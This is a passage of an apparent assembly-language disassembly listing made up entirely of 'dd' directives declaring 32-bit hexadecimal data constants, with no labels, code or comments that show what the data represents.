		dd 12FC5D02h, 0D26715ACh, 6CB02226h, 604674h, 0DD2D12C1h
		dd 0E2DC71D1h, 4A60C1E9h, 216B9A8Ch, 733C7D00h,	7384AB54h
		dd 80372D3Ch, 76DB47E8h, 55827Ah, 5A59A4A2h, 0B11702Eh
		dd 96F02803h, 0EAF1139Eh, 4424675Bh, 0A0BC605Eh, 5CE60DC6h
		dd 1904BD1h, 0A48684h, 266EAF3Dh, 8B0A746h, 9002D60Fh
		dd 0CA208C12h, 30F28664h, 0FD8602D9h, 0A888A26Eh, 12BDD0AEh
		dd 80E027FAh, 0A2D517F6h, 33F4680Fh, 9CE05207h,	0CF21C0E2h
		dd 0E617D51Fh, 8148F858h, 773D1B2Eh, 99E8B9B2h,	3F46FB30h
		dd 0E8A1F1B3h, 46FA2E60h, 0DDBF097Ch, 0F082A53Ah, 0E721EFFCh
		dd 69A43FECh, 15C907A2h, 9290D11Ah, 3C9FDAA8h, 8C806191h
		dd 0AFB835Ch, 0A9F15718h, 974BD58h, 0D8C6ED6Ah,	42C3078h
		dd 0A1C3C09Ch, 0B427AB52h, 5320A562h, 485299h, 0E0F4415h
		dd 0F1ECD2DDh, 0DC7F122Ah, 13189400h, 0E41703EAh, 0EB9825BAh
		dd 1B2C8CEEh, 4D131DADh, 0ACAE0000h, 244BB9BCh,	60B06618h
		dd 0A6596140h, 0D69D100h, 0D009F420h, 28BA068Ah, 29E12B66h
		dd 47221D01h, 0A630E64h, 3F7571E0h, 2882D0BDh, 0B0267F76h
		dd 30B35D61h, 30EFA314h, 8097A488h, 0F249D714h,	16FC0459h
		dd 800E47BEh, 0DD2311FCh, 1B009098h, 8CAA287Ch,	0C03FC564h
		dd 8EE077C0h, 49499974h, 0D512085Ch, 11C8260Ch,	0BCF840B1h
		dd 1D04E040h, 204FEDE7h, 6C282C90h, 0B1488065h,	8C5DE8A0h
		dd 2E42C39h, 72ED4B15h,	54E884EAh, 0DE88E4CEh, 0D29AD0C0h
		dd 79B10F31h, 0AFC34A7h, 14E689B2h, 671E3C68h, 2C393127h
		dd 4C72E7h, 59085189h, 27D6FC44h, 0AC4427A8h, 18BD4500h
		dd 8A57AA7Eh, 63947D0Ah, 97D396Fh, 0E10B44F9h, 8E99938Fh
		dd 7A107C09h, 0FE0498ECh, 784092A0h, 69CC030Ah,	122772F6h
		dd 3EBE2588h, 76D72E0Bh, 0B57C0228h, 6818C119h,	0E8C403Ah
		dd 4E8F160Fh, 0C839920Ah, 0E706BC63h, 2C5994EEh, 21D38EF3h
		dd 46A4A0F8h, 0ABB6021Fh, 1C998CF1h, 0AB9ECA01h, 0E2ED7583h
		dd 43F879C5h, 64611827h, 0A917704Eh, 9D040E12h,	52A0B860h
		dd 0B0272115h, 529854C0h, 152E1E0Dh, 48C60F87h,	9C45A989h
		dd 6F60A4E4h, 6A03A9C0h, 0B44115A0h, 1198064Fh,	0C9401467h
		dd 0D9D1A4B1h, 2F021D18h, 6D12E4FFh, 0C7840DCh,	90B8273Dh
		dd 141A1861h, 5574480h,	4D8F007Fh, 65B1DA19h, 0A9C3A291h
		dd 0F149B448h, 67302F59h, 0DDBD0228h, 0A551C9D4h, 10E3FC49h
		dd 75FF2DFh, 50CD8E20h,	5604E3ECh, 0AADD380h, 32E53E02h
		dd 40C012FEh, 490853F8h, 0EC003C67h, 0AED17681h, 10003006h
		dd 148AF386h, 51AD42DAh, 919E83E1h, 75AE0012h, 98820CBFh
		dd 7A0AFC04h, 0F8982377h, 20494081h, 0B839270Ah, 960BAC57h
		dd 0E3582440h, 2D681701h, 1C473A06h, 4C0AF33h, 18F08B96h
		dd 0A16908A4h, 0A6EC60FAh, 7E55E200h, 0A0759286h, 0F24097Dh
		dd 2C824B5Ch, 24C6DDA8h, 20B01055h, 48C9FE8h, 271752A2h
		dd 20C8E80h, 9D529A6Ah,	4CCC81B1h, 0F3F3AD55h, 48D8E490h
		dd 0B64625F2h, 4846C8E2h, 982F5C44h, 8C905658h,	926A9501h
		dd 63222CFEh, 96123C8h,	0D41AD520h, 0F844C864h,	0D5281FD6h
		dd 0F229C0C9h, 0A0E37BB1h, 210F8D30h, 0A96FF3Ch, 34D55C8Fh
		dd 13AF05C0h, 888C50A9h, 0D7ECDC5Ch, 0F0944C8Ch, 84365D10h
		dd 13A48Bh, 0EBC5A2A4h,	1A00BE65h, 20A16794h, 69B5613h
		dd 0B9548CF0h, 2BFA383Dh, 8E09F8A4h, 9D930320h,	80DC112Ch
		dd 3C3E32B9h, 68EC0465h, 0C0114BB5h, 76892CF8h,	686B2526h
		dd 0A4A4AF28h, 5D586012h, 0A664409h, 902E449Ch,	9DEE389h
		dd 96E0828Ch, 1058E4h, 0F0D2715Ah, 3F09E885h, 2B143806h
		dd 0B616689h, 41FB5C9h,	12619001h, 5173F767h, 6379A767h
		dd 0ED5DC20h, 0ABE71283h, 28F88055h, 59406061h,	0B2DE1017h
		dd 0A05850EDh, 529D048Ch, 0F2982712h, 954FC000h, 0E5C52h
		dd 7793045Bh, 0C2E3B51Ch, 0D0EC7C28h, 4D748C09h, 2F4F041h
		dd 0F467912Bh, 4041096Ah, 8131866h, 14689ED5h, 0D340FAC4h
		dd 3CE1D51Bh, 0C2583D00h, 1951444Fh, 0AE6A053Fh, 60698143h
		dd 0DF77A6C0h, 0B54A8C71h, 0AE83B002h, 2408AB4Ah, 0B08217E8h
		dd 46FE3096h, 0FBF1BA12h, 2B03E88Bh, 361A4665h,	4312AD98h
		dd 0C354BB10h, 0F91D8D00h, 0DDEAD37Dh, 0ACE55628h, 2334F048h
		dd 0ABB80129h, 0EA98CF7h, 0ABA0C40Eh, 8A01AEAEh, 62085EB0h
		dd 58FB00FCh, 0BF63E20Bh, 3CE80709h, 30667980h,	0A213D79Dh
		dd 30B8FB05h, 0F4D8DEE4h, 2E0E4A25h, 0A32330h, 0ADFBAFF0h
		dd 0AC27C131h, 0B6CCE1B1h, 82C2EDECh, 2745ECEDh, 0EFF2F0C7h
		dd 20EC58A4h, 65094580h, 17978EDh, 0D8FA26Ch, 899F399Eh
		dd 68A5C8BCh, 8BBC949Dh, 0C037C8B0h, 0A0833C7Bh, 7E894105h
		dd 0AC405A08h, 3925B5AFh, 9870034h, 0E09782F3h,	0FD017A8Bh
		dd 273E35E6h, 4038A889h, 23682F4Ah, 109F01DEh, 29C2C176h
		dd 78029614h, 7E91A119h, 0D5C987C8h, 90202C2Ah,	6B4A387Bh
		dd 94EE501Dh, 7FAD0840h, 0BDDC03E6h, 0D33F377Bh, 9859E5BAh
		dd 0A0B41D16h, 2DA00568h, 0AD603C04h, 3D6300A4h, 0C2155606h
		dd 0D42058B7h, 9131A40Bh, 0E823CC9Bh, 0D5210060h, 3424689Ch
		dd 0D1F94486h, 0D5293Dh, 0B457D0D4h, 54C2F164h,	990DC84h
		dd 94039F8Ch, 40FC882h,	82260221h, 110AB472h, 98D5C7h
		dd 9AE68F41h, 0E70F8C56h, 2133327h, 0C1F2FFF9h,	0D2E104h
		dd 4C5C3CB4h, 183A7490h, 0F0E6882Dh, 912E84A9h,	0E3F0A448h
		dd 7F14E55Ch
		dd 260EAC40h, 35E41D2Ch, 833C050Ch, 15C4C045h, 0EC8010F4h
		dd 39612E5Ch, 48A691A0h, 629422A4h, 0F439F643h,	0D0339CAFh
		dd 0AD8ADCBCh, 0E178C74h, 2C5C954Ah, 0F87B5C6h,	41160D70h
		dd 3F385178h, 88E28408h, 72800D2Bh, 0BB01A394h,	364F487h
		dd 9E1C8E95h, 3ECBA86Ah, 54EC310Bh, 0EB7822BDh,	0CC48E951h
		dd 0F04512D2h, 9B60A5C4h, 22E850Ah, 560AE006h, 9000ADA0h
		dd 87610BA3h, 2E074A5Ch, 382380h, 88429814h, 2D300208h
		dd 0E7BEE9EAh, 0CC7E92h, 88618B38h, 5D02961Dh, 0D8946934h
		dd 0D5E170E6h, 0E2BF4F0h, 88F669C0h, 0E8F3364Fh, 4014BA51h
		dd 0EF781348h, 35E16415h, 0C0F92DF8h, 4485A12Ch, 0AA05580Ch
		dd 0AFDC60CEh, 0B0EC70CCh, 38A55DB1h, 921AD201h, 6CD129B5h
		dd 10FC4C60h, 0A47390AEh, 53E200B4h, 0E870E135h, 60006428h
		dd 203E2FD5h, 0FD21F89Ah, 0B8104C8h, 543C8EFEh,	0B384A7h
		dd 0D742F357h, 448A74Eh, 9634800Dh, 0E57FA443h,	95B2B503h
		dd 0F3138836h, 0A4814146h, 0F8F731EEh, 634EF1B7h, 2A742Ch
		dd 0CBF74666h, 0CD073E09h, 0F4470F1Fh, 0F34018ECh, 3564F84h
		dd 6D93833Fh, 2DFB12CFh, 0CC08714Bh, 87C909E3h,	1C012CB7h
		dd 0CB843574h, 0E6DD2A00h, 0EDD0CC81h, 0F881B52Dh, 3C688847h
		dd 34967168h, 0C4E9B280h, 13272EB6h, 0B424039h,	0C085ACE4h
		dd 0B2D8819Bh, 0C80405E8h, 15205654h, 609410B8h, 9D802891h
		dd 0D18CF8ABh, 0C3DB448Ch, 0EAABA500h, 0B294053Dh, 0C9552F04h
		dd 6518C800h, 0AE13BAFBh, 0CCC22913h, 48C697h, 0AC6578E8h
		dd 0C5858FF8h, 0D0BDCE01h, 0F71E98EFh, 150133Fh, 0E077F949h
		dd 54436E2Dh, 0A1D1D27Ch, 78281168h, 60292580h,	3C946312h
		dd 9EEF1885h, 60091088h, 84531971h, 9200660Dh, 0E41F6542h
		dd 79FD38Fh, 0C01379E3h, 8C9D94BAh, 9BFCBEB8h, 1863E8A1h
		dd 0A1D50416h, 3233FC68h, 1ECC20FBh, 0C10099D5h, 9A5A3774h
		dd 178D7ACAh, 42A6783Ch, 0EAECC3D0h, 5C252450h,	0E5544175h
		dd 8A920C3Dh, 0CEDCC828h, 31A1E8E0h, 24B8C02Eh,	68592D0Bh
		dd 1D78295Fh, 803E9194h, 0CC86BE63h, 0D1970B65h, 0A402818Fh
		dd 0AC005654h, 510585F9h, 0A420D75Eh, 30EF5EA9h, 1522E3D0h
		dd 174AF240h, 853C2D8Ch, 0B378A70Ch, 8D8BC029h,	3065308Ch
		dd 0F1246350h, 0A368E462h, 0F95460B5h, 72DD10F2h, 0ABF000D8h
		dd 0C4B2DF4Eh, 51656008h, 0A8E50452h, 7DC57505h, 0B5004051h
		dd 0E743EA2Eh, 431D4CEh, 78CF9E8h, 0D28D6966h, 0C0E257CFh
		dd 3955748Fh, 0AEE10281h, 0DEB8843Ch, 0E932008Ch, 6CAC8197h
		dd 42F949B6h, 6B0063F4h, 0C1F052D5h, 21748CF1h,	0F070A8AEh
		dd 0F8241050h, 1C802430h, 3F0A9h, 3A9E0C70h, 82713C5h
		dd 3502F227h, 0B36A80D0h, 19D181DAh, 0E459270Ch, 0FEED9957h
		dd 0B8880ECh, 0CBFF1C0h, 0C7776A0h, 0A87AEDDh, 243B8919h
		dd 1A3F8470h, 0B8C1D164h, 3B2B9044h, 602328h, 22A61474h
		dd 232577D3h, 3A6C8075h, 2DE0EFAh, 13AFF852h, 0EC73E3D9h
		dd 154B5A7h, 8225D881h,	0EBA424A1h, 0E5E96000h,	129F32Bh
		dd 0AA0203FCh, 0B1E686D6h, 0C8ACDAF8h, 4147B49Eh, 38467C48h
		dd 0CA7FE707h, 0ECE9E0AEh, 424D7C3Ch, 0A1231F3Ch, 0E0F858E0h
		dd 0D8668325h, 23B03D53h, 46FC0198h, 590BF1B4h,	2D20CEFCh
		dd 1DB4663h, 1887A6A3h,	200C4ECFh, 0D7405E44h, 0C8592492h
		dd 0E5C98204h, 48C412BEh, 54866DE8h, 58EA4B9h, 74DAEC33h
		dd 88DCF8DEh, 592E8249h, 0F4724BC4h, 0CB63E20h,	5C081EBFh
		dd 0E0008099h, 4769B73Dh, 0E1888Ch, 6083ABC3h, 0F07FADDEh
		dd 84483728h, 91E76B21h, 0D40C5128h, 79F6F9F8h,	4206EC40h
		dd 0B02B4ED6h, 7000D723h, 2AE2378Fh, 84F8A8F5h,	3ECD288Ch
		dd 516B2ED0h, 0A891A0h,	0FE6CEF61h, 1CCB8BDFh, 1858AD27h
		dd 67B8F86Fh, 74E64005h, 2093A0D5h, 48B4E22Ah, 49F1736Ch
		dd 0BFBC608Eh, 0EF5A300h, 0C5801E0Fh, 32E6E245h, 0A299ACECh
		dd 804910FCh, 20617C00h, 0ED4001B3h, 0C5270E90h, 1B2DD011h
		dd 9C49E601h, 0F23B6491h, 6819A8B1h, 0F0486679h, 7A859h
		dd 28290E5Ah, 0D9ECF9DAh, 1B6E3D04h, 0A24FB7h, 223860F2h
		dd 433405A8h, 0D2C4BAE2h, 0F0722CC0h, 59D15D00h, 0F410D7C7h
		dd 0C0FB050Bh, 809EDA3Ch, 9721961Dh, 202B3825h,	5FF8DDF8h
		dd 0EB1F0126h, 7C22BC7Dh, 0B8047007h, 0AA133D40h, 44B44794h
		dd 15D26061h, 0F07C1699h, 6DF4483Eh, 0AB5930Bh,	60656853h
		dd 4089C48Ch, 7410ECE4h, 0C483981h, 4C54D10h, 2F8D5CB4h
		dd 20102CA9h, 10EFC9E7h, 89129200h, 2CACFC96h, 9119F65h
		dd 0CAD8A4h, 4BF327DBh,	0B8EC3404h, 555BCD17h, 5E390100h
		dd 5C096B17h, 0EC94144Fh, 15BC2B7Ch, 8DE2070Ch,	14976B02h
		dd 0C3805F91h, 6AC5E90Dh, 0E5D2DD13h, 66DC3C21h, 1040BA0Ch
		dd 92547386h, 747948A8h, 0DE4ADB3Ah, 3FD480F4h,	48F0A71h
		dd 7F2AE41Dh, 0E824E9A4h, 62310069h, 8171E9C9h,	7413F447h
		dd 8C8E2E6h, 5D042059h,	2B84C6Bh, 2383900h, 94730E18h
		dd 30202C59h, 0AE694090h, 14D28A2Eh, 0E494042Fh, 3D87AB43h
		dd 0BE8FEBBh, 147B29A4h, 0D0A67C3Fh, 8B3F8E28h,	0DC7F8FA2h
		dd 2100F631h, 0DEDF28D3h, 1A3A0002h, 0A112C148h, 0E2003EB4h
		dd 3C909BFDh, 2553A534h, 886140BFh, 0A083053Dh,	4D10248Dh
		dd 0EA0B4F64h, 0D2D198E9h, 60951900h, 7B504430h, 5D02A909h
		dd 308786Dh, 648EFE1Ah,	10176AF3h, 44200F67h, 9CAD548Ch
		dd 8F760498h, 0CA92Ch, 0B8B94EFAh, 48C1A5D3h, 0D042DD7h
		dd 816CB013h, 2A64A830h, 28107C24h, 0C8612ECFh,	65CFE389h
		dd 60DFE4BCh, 1DDB53h, 6CF37CF8h, 6536335Fh, 0E5801CB1h
		dd 4A11E9BCh, 94AB0786h, 1444612Dh, 10EC146Bh, 30CFA1Ch
		dd 0E0B0717Dh, 0FCD87841h, 0A2D3303Dh, 0FD8C8EA0h, 5013325Fh
		dd 74908430h, 9BDA4F5Dh, 960202Ch, 0E902ED6Ah, 7C93045Eh
		dd 0D5656080h, 0A6372E93h, 0BA170510h, 0BCF8C020h, 0E0A0FA19h
		dd 13813D2Dh, 0C6444020h, 28B86B39h, 2CE6F302h,	64661C61h
		dd 11A3217Ch, 854D8C08h, 5F102867h, 208F13B0h, 812C792Ch
		dd 0FCA3709Ah, 287C41B2h, 58F4954Eh, 120A1364h,	58621C3Dh
		dd 90403905h, 58C040AEh, 7AE393E6h, 5FB0C405h, 34C1C94Fh
		dd 0F30D112Fh, 0BC6B890Fh, 5CD03204h, 1857EE3h,	89B76835h
		dd 0E00A19D0h, 0A4F06B08h, 72749253h, 0B484EA4Fh, 528824CEh
		dd 3FF74EC0h, 87A30160h, 0A0679434h, 598841FDh,	88A60CABh
		dd 209590B6h, 49CECAECh, 596D3F19h, 80D1A39Fh, 0B4578B64h
		dd 0C8FD0EB9h, 409042CFh, 6C543410h, 734CC84Eh,	9601AEE4h
		dd 88018927h, 5260CA4Eh, 1E12007Eh, 0B0C9D7B8h,	31C09F91h
		dd 334049B4h, 0AACA0766h, 0D02A4AE4h, 0E16453FCh, 0B895FA32h
		dd 41DC335Dh, 0B656DD6Bh, 51883C28h, 0A80C67h, 0E4F9BA95h
		dd 0D42B137Ch, 0AA9128F1h, 0F8682E27h, 3D007606h, 43E7A3D2h
		dd 175F9ABh, 1512667Ch,	535EBC41h, 0F3D4F034h, 30D9B2B8h
		dd 0B80948EBh, 0F072C57Dh, 3AF49420h, 4582DCBBh, 91558EACh
		dd 9E1ED090h, 30ECAD00h, 0B27AFACDh, 0AC77003Ah, 70699BF8h
		dd 372446E6h, 400CA898h, 4438B03Eh, 0A650FD54h,	91446980h
		dd 0A5DE0405h, 81442D1Bh, 8B4B2ECh, 6B49226Ch, 133B1B23h
		dd 37307215h, 0C0691221h, 2271843Ch, 0BA2D3ECDh, 0E404EE0h
		dd 0D6DD0F20h, 3A9C13B3h
		dd 3DA23A0h, 5FA8EEE3h,	0F0448DB2h, 0FEE56908h,	118D78EFh
		dd 74CB28D7h, 69C1DDC8h, 14CCE65Eh, 0F96E0190h,	0EDE25A7Dh
		dd 41AC4165h, 436A029Fh, 944DC2Ch, 3F98405Dh, 5CFC48h
		dd 0C397AC01h, 0FBC1EE4Eh, 4D75CD00h, 14B90F3Bh, 44D4B9ECh
		dd 58664B95h, 0D86F221Ch, 0FB441890h, 1F777BBEh, 522CCD3Eh
		dd 0C630B19Ah, 0F3016C44h, 3ABB7250h, 0A07071E3h, 0A50D04B2h
		dd 0C1059B6Eh, 0E2DA8Ch, 60FC09h, 258EB981h, 8DE793EAh
		dd 0ABAA0600h, 0F097A290h, 0DF51220h, 0F290B203h, 0CFFF30F5h
		dd 1CA0538h, 6410AD57h,	7C3D7455h, 0E6E2DD82h, 0E533620h
		dd 0B523122Dh, 0E284B202h, 97AD3055h, 0B789C400h, 2A01ED5Dh
		dd 7494ACD2h, 0F2C5093Ch, 0D4C56A13h, 0EF60A5E4h, 697F2F0Fh
		dd 2BDB2305h, 6AC52E1Ch, 0DED87880h, 0C0654B8Eh, 8728C904h
		dd 58957704h, 7CE46F20h, 3FB4BE26h, 0A0E8599Fh,	0D267B101h
		dd 0B7B56413h, 46B4022Ah, 9490E860h, 68903C27h,	0B7021A46h
		dd 0A18CFEABh, 0C5003CE7h, 0DD55AB9Fh, 3F813E68h, 42EAB31Dh
		dd 0A941748Fh, 36B8C8EBh, 2D0528EFh, 3564681Ch,	0A2E5E481h
		dd 0E4DAF100h, 9893DF4Ah, 72D3F202h, 0CE164E08h, 0C03D885Ch
		dd 0DC9A056Fh, 271E0805h, 38879F59h, 6B43F3h, 57A930F1h
		dd 12AD5C79h, 39DE0E00h, 3DF0291Fh, 2B35002Fh, 0EFAA6AB8h
		dd 4C25E98Ch, 6128CD07h, 2E4C882Dh, 69176820h, 5B953D51h
		dd 0F7717787h, 202758h,	0A3C540A0h, 8667B400h, 0D9AE12E5h
		dd 20AA5F28h, 73C57674h, 842A3905h, 907B88F6h, 0CF80F23Ah
		dd 0B0DA5F99h, 2E2440E8h, 48C1101Dh, 2E3860h, 44B3AC54h
		dd 14906A75h, 3352C4B2h, 25E63CF0h, 0E99C0241h,	3C6C5286h
		dd 0BC008AD1h, 60284724h, 0ECA0B595h, 0EF30E6FFh, 12F0918Fh
		dd 662809C0h, 94F9AC36h, 0E94A9D9Ch, 1DCBC0Dh, 64AAE94Eh
		dd 20C00DEDh, 3D05F388h, 1492656Ah, 50D4C880h, 60E33961h
		dd 5F788709h, 0D5A840B3h, 1C46689Dh, 0D001DC22h, 24BAD51Ah
		dd 87D82DC7h, 4610906Bh, 529E02A3h, 1CA02713h, 52965602h
		dd 0F1D81594h, 0C3D7003Ch, 0ADCA2F49h, 97AFF800h, 0EA318BE2h
		dd 0CF080BEDh, 68705084h, 4C8D7624h, 9B60A644h,	27252052h
		dd 800CE5C8h, 3952D351h, 9000D4Bh, 0CA6F30DFh, 0A0071EDDh
		dd 0B8892C94h, 0A605FFBh, 0C08C6410h, 68A0D515h, 9CCB044Eh
		dd 0D51DCD00h, 88AC47B8h, 105C4DEAh, 46DC0923h,	1344F86Bh
		dd 82C84127h, 4C60A348h, 0E34EBA21h, 448B8464h,	0DCC0D988h
		dd 950D3F1Dh, 924BD40Eh, 2DA14801h, 9D03289h, 504FBDC9h
		dd 49B3D7Ch, 524A048h, 83900170h, 0EDFDB8ADh, 6CD2DE54h
		dd 91008C90h, 443771E9h, 0C98FE2Dh, 0E884CFCh, 0F8E22FA1h
		dd 60725Ch, 0D830F403h,	5080F13h, 9A5437F2h, 0E29CE6CFh
		dd 3CAD846Fh, 0A6B86487h, 9214DE2Ch, 70B24F0Fh,	0E4CEC74Fh
		dd 1C03DC8h, 15A82Fh, 7ED3F349h, 0AC612E6Ch, 97F811BDh
		dd 906518F6h, 4676E8BEh, 4F130352h, 0F77DB8F7h,	0C8B8FFD5h
		dd 442995A2h, 0D8CD0040h, 0D177CF23h, 0F700792Dh, 595F2B12h
		dd 77A33E2h, 39F831ABh,	0AD67C566h, 0FD130124h,	5BF66490h
		dd 9C2C4061h, 8172E287h, 0D84E2745h, 403CA797h,	4E024418h
		dd 0D86E95h, 0A7B1812Eh, 0E5338BAh, 1B3DCBD4h, 87D0E460h
		dd 35B50779h, 42396D8h,	483074h, 8F0A9A17h, 4C03731Bh
		dd 0DE2E1CFCh, 0E4F90196h, 0D4C186BEh, 119D2102h, 0A6CC7B48h
		dd 8AEC006Eh, 0DC6A689Ch, 5E018B7Dh, 0CB215AC0h, 9F70CF87h
		dd 72E3249Fh, 39467424h, 0E1E7A900h, 0E40E1BE3h, 0C463082Ah
		dd 36448301h, 0A7C0D592h, 58794C0h, 0C20F743Eh,	0E878C4BCh
		dd 8C3ABCECh, 6DE670Bh,	2F084C82h, 4CE9C120h, 0E0882607h
		dd 6D3075Eh, 30B3FAE3h,	42044498h, 54BAE21Bh, 0E0EA8F0h
		dd 0CB156756h, 3128D156h, 8820389Fh, 0E3AC87D7h, 0AD5D4271h
		dd 1C9154D0h, 0F81855D1h, 62B3DC00h, 2D7FE11Ah,	0ACE50999h
		dd 0B8609C60h, 0FA27D513h, 8948C0F1h, 0FC89A48h, 3459AA91h
		dd 50EA4366h, 56C37BFh,	0F2F8AA07h, 30DDF288h, 4000D245h
		dd 0B4D0B9A2h, 9EB0DC51h, 69A90084h, 0B51E0FA1h, 0EBA4C30Fh
		dd 849469FBh, 0E3421334h, 0CCFC0522h, 0D2A52C09h, 32530160h
		dd 0C2E3C9D5h, 6B0021E0h, 0E023B43Ah, 0FB2F3700h, 7CBED58h
		dd 483BCEE7h, 0A82A74C8h, 6410276Ch, 9B6B017Ch,	6438592Dh
		dd 0DF6C796Ch, 185A240Ch, 0B8BA04B4h, 8079FD86h, 9164CF08h
		dd 0DE8C96h, 0FC9205Ah,	0ED5E5FD8h, 0EBA73403h,	0BBE70597h
		dd 4004A58Fh, 3E0B63CCh, 8101F8D2h, 0ECE643ADh,	3B2B050Dh
		dd 1F3D2338h, 0FB4B8FC2h, 61FF5081h, 0D7DC4081h, 0EB5AF215h
		dd 0C4F49C81h, 3A1C3C10h, 48FC1588h, 753A9810h,	83B8DE4Ah
		dd 0BA05349Eh, 816A20A4h, 5A005D4Eh, 6D79B78Dh,	0C2397Bh
		dd 1AE93021h, 444B9A19h, 0B7202E14h, 0E7070698h, 2F4159ECh
		dd 6C2989A2h, 0C5202079h, 3A09FDF8h, 229CA6Bh, 0C0E4FCh
		dd 0FE2855EEh, 0FC549001h, 18159F16h, 102C830h,	0BE13E9EAh
		dd 60A4A0C3h, 60159560h, 22C86BDCh, 6C979578h, 87805F91h
		dd 2E0CA55Eh, 28196860h, 5C6C8B7Bh, 89008D37h, 4CC29B2Ah
		dd 744EA2A4h, 0F801C488h, 0EC480E27h, 0B2A01321h, 61A4DE3Dh
		dd 33DDF30Ah, 4B61682Fh, 0B824E8BCh, 983C17ECh,	89BC814Eh
		dd 82E7BAEh, 3205D823h,	48BD2D5Bh, 0E6804F39h, 5BD5C5Ah
		dd 7E580C2Ch, 84513D12h, 16678C18h, 809138B5h, 0F0131660h
		dd 2719F060h, 4CC82F89h, 0A9B53401h, 443B7EC7h,	60003723h
		dd 56F67B34h, 8CE0C95h,	0E2096ADh, 0E22E0F03h, 0D586CCh
		dd 0BEB57AD9h, 0CD0494ECh, 42613900h, 64BB7284h, 0C41904DDh
		dd 0F979ED4Eh, 4696B9Ch, 2C8514ACh, 0A66C0808h,	702C09E0h
		dd 0E8884024h, 8CDCB840h, 0FC1489C1h, 31D1670Fh, 6410A9AFh
		dd 0FD0065D7h, 70F6E625h, 6B9F30Eh, 2055FFCBh, 915EA1D8h
		dd 1888E884h, 88044026h, 92210D60h, 7448570h, 3E15E9D0h
		dd 8F8092E6h, 1EBD861h,	0EC60E217h, 0A4A4BFF1h,	9980C16Ch
		dd 0DC3B6F76h, 7E03FA23h, 0D020D970h, 5FE902B3h, 0E68C844h
		dd 64172D00h, 0BA7D04B5h, 0D1009178h, 191838h, 96B20A14h
		dd 5974E788h, 817C9548h, 0FB51097h, 0F724C46Ch,	53303E98h
		dd 2D22F120h, 2550EB59h, 51246248h, 18F979B4h, 0B23B2C5Ch
		dd 0F2DA16F6h, 0D4A60084h, 15E5DB50h, 7166141Ah, 9504BCFDh
		dd 0BC298C12h, 18019E64h, 0CE56DAE6h, 0F268A205h, 0C9B830DAh
		dd 3BF0B65Ah, 0B551F68Eh, 0A5DC18AEh, 882E9404h, 1400EFE8h
		dd 0A5B960D5h, 3D80225Fh, 47BF65B2h, 98849918h,	14581BFBh
		dd 500C2404h, 0B64AF111h, 6206E084h, 0C2A500BEh, 1F78C45h
		dd 68B6102Dh, 0E0F9FD02h, 0AA908437h, 0F278F312h, 283A305Fh
		dd 6A258703h, 0A2412B9Eh, 190F431h, 402D7EB7h, 20422A77h
		dd 7A50EF6h, 7EE85CFCh,	56809686h, 2D01D846h, 2E18A21Ah
		dd 0EDF9DC17h, 0A322F09h, 9BD406FEh, 79282690h,	0CE62480h
		dd 8880068Eh, 3C10C529h, 0F318DED1h, 880219E8h,	45B7F156h
		dd 77C6487h, 298D43ECh,	25F210A8h, 6D00BE10h, 60D651EDh
		dd 0B57117Fh, 0DE2AEA7Ah, 0C10EB805h, 12033050h, 15D4401Bh
		dd 0E4019DCFh, 7EEEE656h, 9889046h, 2DC02A9h, 8A5FF28h
		dd 1F89207Eh, 0C48CE50Eh, 0CD0A6038h, 17363975h, 0C18C8D89h
		dd 43E87458h, 385EE12h
		dd 0A3F298E2h, 985BDF30h, 2D5255Ch, 15C31C68h, 20B574B8h
		dd 0B5CAA368h, 8C8095D7h, 987A3BF3h, 0E6B3EF00h, 0CD9FDD0Eh
		dd 8EE704A9h, 0BB697E36h, 0FA21C20h, 0DB390092h, 35FFEC65h
		dd 9E057E1Dh, 45337C0h,	0EF800CACh, 7AA1DB4Eh, 0CD72FF00h
		dd 8CB4AFDFh, 9ED60C84h, 1728BA08h, 9BB01095h, 9D470070h
		dd 0B2BFB03Ah, 54002514h, 0A21DD0CAh, 0B0A345ACh, 22D0925h
		dd 0B07413B1h, 0FC8E05DEh, 9311B568h, 64E98484h, 84076E19h
		dd 0D7CF22E3h, 208DF0F0h, 770B30F9h, 0C8F2E0C3h, 7CC86B20h
		dd 782848D2h, 0A01DE412h, 8630E540h, 3FD95874h,	63EB00F7h
		dd 0A94926EEh, 2F5C4D53h, 0E6FD0316h, 1C8555C2h, 30796451h
		dd 0F6E14368h, 0E73B711Ch, 0EB03B9B0h, 0CA0402B8h, 0D467B592h
		dd 98778C0Fh, 80497423h, 0F62D3C8Eh, 7E8496Ah, 836B27F5h
		dd 29C3E6E0h, 0B01018ECh, 9FD17A13h, 6C8E3898h,	849F052Ah
		dd 0C6C0C218h, 40DC4459h, 45FE3BA4h, 2F1CE95Dh,	60DC4FF0h
		dd 0A4F4AEB5h, 0BD68AC08h, 9E8A4F7h, 0F4E86B88h, 1497EB07h
		dd 2C67145Ch, 5C085C0Ah, 88204059h, 5C5D920h, 477B943Eh
		dd 0B79C04EEh, 0C00452ECh, 0F10E8F81h, 0B9F4FDE4h, 0A5F913C4h
		dd 2B10C0A2h, 0ED69126Ah, 160498EDh, 0A85B4841h, 101784D4h
		dd 0DD689400h, 0C8B2D8F6h, 6B9A50C4h, 5318C0E2h, 67BD5179h
		dd 0B2CE940h, 60D11289h, 281F70FBh, 0B0C78813h,	5889BD24h
		dd 92A4D4EEh, 7580006Ch, 4D0B8445h, 1BE7B209h, 0A1C482C4h
		dd 3F485FEh, 52C8308Bh,	0F0104BC0h, 0E447A74h, 0AC3C8CF8h
		dd 1167C838h, 9920BCACh, 0B8B1B5A1h, 0C432FE6h,	0D088978h
		dd 2653F731h, 0F02C8138h, 0D1AC58A9h, 2D233DD0h, 9CCBA4ADh
		dd 0FE06B2D8h, 0E4091F1h, 161E22Ch, 3C1B80BCh, 604BF179h
		dd 6A26A8E4h, 8947B813h, 0E440906Ah, 1C5245Eh, 0E3653EF3h
		dd 0D5B7276Ah, 0ACD9D692h, 7D42BC00h, 22695E4h,	0CA5C5ABDh
		dd 0A485F812h, 6432BA96h, 71E0F188h, 1E18F5h, 561121A4h
		dd 42B0F0F6h, 246BC004h, 28C8FAE1h, 0A458516Eh,	5CBC6068h
		dd 82B95B8Ch, 0A0569580h, 89271E87h, 0B8B8E179h, 74BC58A6h
		dd 0D928D746h, 305D2DF4h, 35BF1CC6h, 6EE00BCh, 0D7C60AFDh
		dd 959B9003h, 0B4FAFBB4h, 375408BEh, 408894h, 753B6F2Ch
		dd 14BFCBh, 4A8EC757h, 670181AFh, 0A6D0E80Ah, 7017D043h
		dd 0A263FC87h, 1AB8E138h, 0B5F459F0h, 0D5EBD400h, 2E80F0A6h
		dd 13965E39h, 0ABB008D4h, 69047593h, 2CE9C8F7h,	14138DC0h
